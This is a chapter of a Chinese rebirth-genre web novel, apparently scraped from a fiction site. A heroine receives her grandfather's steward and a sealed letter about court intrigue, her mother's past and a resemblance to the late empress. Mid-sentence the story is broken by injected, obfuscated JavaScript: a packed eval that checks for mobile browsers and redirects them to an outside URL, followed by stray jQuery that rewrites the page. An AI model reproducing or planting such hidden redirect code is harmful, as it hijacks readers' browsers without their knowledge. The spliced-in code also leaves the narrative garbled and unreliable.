48.回音

作品:《泠然引(重生)

    从岫云居往隐溪庄去,须得绕过蜿蜒山路,再从后山汤泉一侧转上官道。沿大路行驶不过百丈,便可以瞧见庄门。


    听着虽远,实则不过只隔了一座山丘。这般弯绕、又若即若离的位置,恰似她与江遇——看似毫不相干,偏又隐隐牵连。


    马车绕过汤泉时,外头忽然响起一阵马蹄声。不过片刻,便有人拦在车前扬声道:


    “——车上可是宋三姑娘?”是清朗的男声。


    宋清徵睁开眼,朝舒月微微颔首。车帘一掀,却见苏元执缰而立,马背上还伏着个人,正是春妮。


    “苏郎中?春妮?”舒月目光在两人之间一转,声音里带着惊讶。


    苏元却不多言,只将春妮扶下马,轻轻安置在车辕上,后退一步拱手道:“有劳姑娘带她回去。她服了安神丸,并无大碍。苏某在此谢过。”


    说罢转身便走,竟未多看舒月一眼。


    “哎!你……”舒月看着昏睡的春妮,又见他径直离去,只得回头向车内道,“姑娘,这……他就这么走了!咱们这小车哪里还坐得下?”


    宋清徵心中也觉无奈,叹了口气道:“先扶她进来,让她坐我的位子,你在车里照应。”


    说着便拢了拢斗篷起身。


    “这怎么成?”舒月说着瞥了车夫陈二一眼,忙道:“姑娘,您别出来了,让她靠坐在门口便是。一个庄户丫头,哪就那么金贵了!”


    宋清徵却已戴上兜帽,俯身下车。


    “无妨,横竖快到了,我正好透透气。你快扶她进去。”


    “可姑娘还病着……”舒月蹙眉,眼中又是忧又是恼,终是不情愿地将春妮搀进车内,自己守在门边,将帘子掀开一道缝陪她。


    陈二站在车旁搓着手,听见主子姑娘要与他同坐,立刻吓得手都不知往哪里放,本身他是替自家大哥的差事,车技实在一般……


    “陈把式,驾车吧,早些回去。”宋清徵见他杵在那里不动,又道,“要不,你教我控缰?”


    说罢竟真伸手去牵缰绳。马背被她一拍,顿时长嘶扬蹄。陈二吓得慌忙跳上车勒住马,左右摆动几下缰绳,车子很快稳了下来。


    宋清徵兜帽下的唇,不自觉微微一弯。


    不过一炷香功夫,马车行至庄门前。却见门前排开三辆青篷大车,俱满载箱笼。车前一队精壮家丁按刀而立,肃杀之气与庄子的散淡质朴格格不入。


    队伍最前头,有个骑着矮脚健骡的老仆,似是祖父身边之人。陈大牵马跟在他后面。


    见宋清徵行来,老仆利落地下骡上前,躬身行礼:“老奴宋忠,奉老太爷之命,给三姑娘送年货来了。路上车辆损坏,耽搁了一日,还请姑娘恕罪。”


    他言辞平和恭谨,只字不提李茂才,也不问庄内情形,仿佛过来只是办一趟寻常的差事。


    车子停下来,舒月忙钻出车厢扶她。


    宋清徵走上前虚扶宋忠:“忠叔辛苦。祖父祖母身子可好?”


    “劳姑娘挂心,太老爷太夫人俱安。”宋忠直起身,从怀中取出一封火漆密信双手奉上,“太老爷另有家书,嘱老奴亲手交予姑娘。”


    宋清徵接过信。信封厚重,火漆上的宋氏徽记在雪色中泛着冷光。她心中微紧,面上却不露分毫:“有劳忠叔。舒月,带忠叔和各位壮士去安顿,热汤热饭务必周到。陈把式,叫人卸车,先清点物品。”


    一声吩咐,庄内众人这才活络起来,各自分头忙碌。那队家丁中领头之人与宋忠交换过眼神,便迅速分散开来,接管了庄院各处防务。


    宋清徵拿着信回到正房,掩上门。屋里炭火烧的正暖,她揭开舒月的笸筐,用剪子挑开火漆。


    祖父的字迹苍劲凌厉。信前半部分对她处置李茂才一事略加肯定——“行事果决,勘破蠹弊,尚有分寸。”寥寥数字,已属难得。


    但后半部分笔锋陡然沉凝:


    “然,玉泉山之事,非尔所能窥其全貌。其间水深浪急,牵涉甚广,非止一家一姓之私利。尔当下之要务,乃谨守本分,稳住庄务,勿再深究,勿再妄动。一切待宋忠探过鹰嘴崖之后再做安排。”


    这后半段语气严厉,带着不容置疑的掌控。显然,祖父并不愿她继续插手矿脉背后的纠葛,只需她明面上“稳住庄务”。真正的探查与博弈,将由他亲自接手。


    信末另起一行,笔迹稍缓,却更显意味深长。


    “宫中传来消息,太后凤体欠安,常忆旧事。偶见旧人旧物,心绪波动尤甚。尔容貌仪态,颇有先皇后年少之风,恐引太后伤怀。汝母与先皇后,曾乃闺中密友。腊月廿三小年宫宴,不必列席,安心在庄休养。上元节前回府即可。”


    宋清徵握着信纸,怔在原地。


    太后……旧人旧事……母亲……先皇后年少之风?


    她与先皇后非亲非故,何来肖似之说?莫非是二婶母柳氏为了自家女儿,再次搬弄是非阻她入宫?


    可天家的阴私,柳氏区区臣妇怎敢妄传?


    此事来的蹊跷,定有什么隐情!


    她思绪不禁飘回腊八宫宴之时:若祖父所言为真,那裴贵妃的冷眼、江遇的警告、太后在见过她后骤然转变的态度,便都有了答案。并非她做错了什么,而是她这张脸,刺痛了太后某根心弦,勾起了某段不悦的“旧事”。


    母亲与先皇后之间,究竟有过怎样的过往?那“旧人旧事”又所指为何?太后为何如此避忌?


    在她记忆里,母亲是个谨守本分的女子,从来大门不出,也鲜少与其他夫人往来。母亲出身平平,说到底也不过商贾之女,又怎会与先皇后有交集?


    先皇后……


    不对,前世京中巷尾曾流传过关于先皇后的秘辛:


    说江遇之所以得圣上青睐,乃是沾了先皇后的光。


    世人皆知先皇后乃二嫁之身,可世人不知的是,先皇后首嫁者竟是兵部尚书——江源!


    这样的传闻实在令皇家蒙羞。圣上连夜降旨改任江源远赴西北,并将江遇下了内狱。


    江源守在边城未及半载便丧命战场。


    后来出了演武场事件,太子被废,重伤而亡。江遇却被赦旨放出,自此弃文从武,从一名散值侍卫升任到殿前司都点检……


    算算时间,如今太子已满十六,先皇后已身故近十五年……


    那么前世,先皇后未入宫前,竟真与母亲相识?她们之间,又有何事能让太后如此忌惮?


    恐怕腊八宫宴,太后避忌的,不仅仅是她与先皇后的“肖似”……


    无数疑问翻涌而上,令她心绪难宁。祖父特意点明此事,既是提醒,亦是告诫。提醒她危机所在,告诫她谨言慎行,莫再因这张脸惹祸。


    一种复杂的情绪攫住了她。有豁然开朗,有沉重压力,更有一丝难以言喻的悲凉。母亲已逝去这么久了,竟连生前的过往都成了原罪。


    “笃笃笃——”


    门外传来宋忠平稳的声音:“三姑娘,年货已清点完毕,册子在此。庄上防务也已交接妥当。老奴可否进来回话?”


    宋清迅速敛起心神,将信纸


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382441|182838||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    折好收入袖中,面色恢复如常:“忠叔请进。”


    宋忠推门而入,双手奉上物品册子,并无多余言语。


    宋清徵接过,并未翻看,只置于一旁,目光落在宋忠波澜不惊的脸上:“祖父的信,我看了。庄上的事,往后还要多劳忠叔费心。”


    “老奴分内之事。”宋忠躬身,“老太爷吩咐,庄上一应事务,暂由姑娘掌管,老奴从旁协助,直至姑娘回府。李茂才及其一应罪证,已着人严密看管,不日将之一并押送回京。姑娘尽可放心。”


    他的态度恭谨依旧,却明确划定了权限——她主事,他协助并督察。这既是祖父给的权,也是祖父上的枷。


    “有忠叔在,我自然放心。”宋清徵微微颔首,抬眸道:“只是经此一事,庄户们人心惶惶,刘家孤儿寡母亦需安置。我想调整今冬的租子,减免三成,再开仓放些粮食布匹,让大伙儿过个安稳年。忠叔以为如何?”


    她这是在试探,也是在行使祖父赋予的“掌管”之权。


    宋忠眼皮都未抬一下:“姑娘仁厚,此乃积德善举,老奴即刻去办。”


    见他并无异议,宋清徵心下稍安。她沉吟片刻,又道:“还有一事。我身边人手不足,庄户刘老四之女刘大花,性情憨直,手脚勤快,亦有几分力气。我想将她带在身边,做个粗使丫头,日后一同回府。请忠叔一并安排一下她的身契。”


    宋忠这次略抬了眼,看了宋清徵一瞬,仍是那副温吞模样:“是。老奴会处理妥当。”


    “对了,西耳房里有个右肩中箭的男子,应是隔壁江家的管事,昨日说来寻李茂才核对租子,一出庄便被人放了冷箭。请忠叔着人将他送回去吧。”


    宋忠闻言再度抬眼,见宋清徵面色从容,不似作伪,便拱手道:“老奴这就吩咐。”


    诸事交代完毕,宋忠行礼退下,自去安排,行事极为利落。


    屋内安静下来。宋清徵走到窗边,望着院中在宋忠指挥下忙碌的府兵和庄户。


    祖父的回信,像是一道明确的界碑。一面认可了她,予她暂时的权柄与安稳;另一面,却也画地为牢,警她不得越界,并将“肖似先皇后”可能招致的风险,明明白白摆在她面前。


    前路似乎清晰,又似乎更加迷雾重重。


    她轻轻抚过袖中的信纸,那上面还残留着火漆的微硬触感。


    腊月廿三不必入宫……


    这意味着,她还有近一个月的时间,要待在这座看似已被牢牢掌控的隐溪庄里。


    也意味着,她与江遇暗中进行的事,必须加紧步伐。


    但她不能一直沉寂于此。若最终未能入宫,便又要陷入卢家婚约之困,岂不正中柳氏下怀?


    况且,既已知晓太后不喜的缘由,她便更需尽快回京,寻郭嬷嬷问清先皇后旧事、探究先皇后与母亲的渊源。


    她转身,目光落在那份年货册子上,若有所思。


    而此时,京城柳府书房内,柳镰正焦躁地踱步。他派往玉泉山的人如石沉大海,杳无音信。更让他心惊的是,今日早朝后,圣上竟忽然问起京畿卫戍年节调度的一处纰漏,虽未深究,却已让他惊出一身冷汗。


    这绝非巧合。


    定是宋鄞那个老顽固!


    他走到书案前,看着那份来自隐溪庄、报称宋忠已抵达的密报,眼神阴鸷得能滴出水来。


    宋清徵那个丫头……还有那个临阵倒戈的江遇……


    他猛地攥紧拳头,重重砸在桌案上!


    鹰嘴崖之事绝不能就此作罢!